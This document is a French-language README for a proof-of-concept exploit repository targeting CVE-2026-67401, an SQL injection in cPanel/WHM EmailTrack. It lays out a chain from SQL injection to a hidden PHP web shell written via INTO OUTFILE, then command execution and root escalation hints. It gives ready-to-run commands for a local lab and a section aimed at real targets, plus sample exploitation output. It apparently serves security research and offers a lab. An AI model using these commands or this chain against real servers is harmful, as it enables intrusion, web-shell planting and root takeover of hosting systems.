CVE-2026-67401 — Injection SQL dans EmailTrack de cPanel/WHM → RCE en root

Preuve de concept pour CVE-2026-67401, une vulnérabilité critique d'injection SQL dans la fonctionnalité EmailTrack de cPanel & WHM qui permet à un utilisateur authentifié disposant de privilèges liés au courrier d'écrire des fichiers arbitraires et d'exécuter du code en tant que root.

Découverte par : HiTechCloud VietNam by Pho Tue SoftWare Solutions JSC Divulguée le : 6 octobre 2026 Composant : EmailTrack (journalisation / suivi de la distribution des e-mails)

---

Versions affectées

Les versions antérieures aux builds corrigés sont vulnérables.

Série de builds cPanel	Version corrigée
11.110	11.110.0.143
11.134	11.134.0.55
11.136	11.136.0.39
11.138	11.138.0.4
WP2 (11.138)	11.138.1.9

Vérifiez votre version avec :

cat /usr/local/cpanel/version

Chaîne d'exploitation

┌─────────────┐      ┌────────────┐      ┌─────────┐      ┌──────────┐
│ Auth as     │ ───► │ SQLi in    │ ───► │ INTO    │ ───► │ RCE as   │
│ cPanel user │      │ EmailTrack │      │ OUTFILE │      │ root     │
│ (mail priv) │      │ API call   │      │ (shell) │      │          │
└─────────────┘      └────────────┘      └─────────┘      └──────────┘

1. S'authentifier sur cPanel avec un compte disposant de privilèges de messagerie.
2. Injecter via le paramètre account d'EmailTrack.
3. Écrire un web shell PHP avec SELECT ... INTO OUTFILE dans public_html/.
4. Exécuter des commandes via le shell.
5. Élever les privilèges via les binaires SUID de cPanel, cron ou la file de tâches.

---

Contenu du dépôt

Fichier	Description
poc_sqli.py	Détection d'injection SQL : booléenne, temporelle et comptage de colonnes UNION
poc_full_chain.py	Chaîne d'exploitation complète : SQLi → web shell INTO OUTFILE → RCE → guide pour root
lab/vuln_server.py	Simulation locale du backend EmailTrack vulnérable (sûre, autonome)
README.md	Ce document

Le lab inclus vous permet d'exécuter et de valider toute la chaîne sans un véritable serveur cPanel.

---

Prérequis

• Python 3.8+
• Aucun paquet tiers — tout utilise la bibliothèque standard.

---

Utilisation

Toutes les commandes sont exécutées depuis la racine du dépôt.

1. Lancer le lab local

python3 lab/vuln_server.py 18123 lab/htdocs

• Identifiants : alice / s3cr1t
• Émule : la connexion UAPI, la requête vulnérable EmailTrack, SLEEP(), INTO OUTFILE, et l'exécution d'un web-shell PHP.
• Argument 1 : port (par défaut 18123)
• Argument 2 : racine du document (par défaut lab/htdocs)

Laissez ceci s'exécuter dans un terminal et utilisez un second terminal pour les PoC.

2. Détection d'injection SQL

python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect

Argument	Description
-H, --host	Hôte cPanel, par ex. https://cp.example.com:2083
-u, --username	Compte cPanel disposant de privilèges de messagerie
-p, --password	Mot de passe du compte
--param	Paramètre injectable (par défaut : account)
--mode	detect (par défaut), boolean, timing, union, ou all
--sleep	Durée de SLEEP() pour la sonde temporelle (par défaut : 3.0)
--dump-version	Tente d'extraire la version du SGBD via UNION
--insecure	Ignore la vérification du certificat TLS

Exécuter une sonde spécifique :

# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union

# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5

3. Chaîne d'exploitation complète

CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
  python3 poc_full_chain.py http://127.0.0.1:18123 \
  --shell-base http://127.0.0.1:18123

Argument / Env	Description
host (positional)	Hôte cPanel, ou définir la variable d'environnement CPANEL_HOST
CPANEL_USER	Compte cPanel disposant de privilèges de messagerie
CPANEL_PASS	Mot de passe du compte
--shell-base	URL de base servant public_html (où le web shell est accessible)
--insecure	Ignorer la vérification du certificat TLS
--no-escalate	S'arrêter après l'RCE ; ignorer les indications d'élévation de privilèges vers root
SHELL_NAME (env)	Nom de fichier du web shell (par défaut : .mail.cache.php)

Étapes exécutées automatiquement :

1. S'authentifier auprès de cPanel
2. Confirmer l'injection SQL (booléenne + temporelle)
3. Déterminer le nombre de colonnes de la requête via UNION
4. Écrire un web shell PHP avec SELECT ... INTO OUTFILE
5. Exécuter des commandes via le shell (id, whoami, énumération des SUID, …)
6. Afficher les indications d'élévation de privilèges vers root (SUID whmapi1, cron, file d'attente de tâches)

4. Contre une cible réelle

# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
  --insecure --mode detect

# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
  python3 poc_full_chain.py https://cp.example.com:2083 \
  --shell-base https://cp.example.com --insecure

Remarque : le paramètre --shell-base par défaut retire le port réservé à cPanel (2082/2083) de l'hôte. Si la racine du document est servie sur un autre port, définissez-le explicitement.

---

Résultats vérifiés

Sortie produite à partir du laboratoire fourni :

  CVE-2026-67401  cPanel/WHM EmailTrack SQLi -> File Write -> RCE
  version 1.0

  target: http://127.0.0.1:18123
  user:   alice
  [+] authenticated
  [1] confirming SQL injection in EmailTrack `account`
  [+] boolean-based SQLi CONFIRMED
  [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
  [2] determining column count via UNION
  [+] target query has 5 columns
  [3] writing PHP web shell via SELECT ... INTO OUTFILE
  [+] shell written -> /home/alice/public_html/.mail.cache.php
  [4] executing commands through the web shell
  [+] id -> uid=1000(x) gid=1000(x) ...

Références

• Critical cPanel SQL Injection Lets Attackers Grab Root Access — The Daily Tech Feed
• cPanel Security Advisory: CVE-2026-67401
• CWE-89: Improper Neutralization of Special Elements used in an SQL Command

---

Licence

Publié à des fins éducatives et de recherche en sécurité autorisée. Voir Avertissement avant utilisation.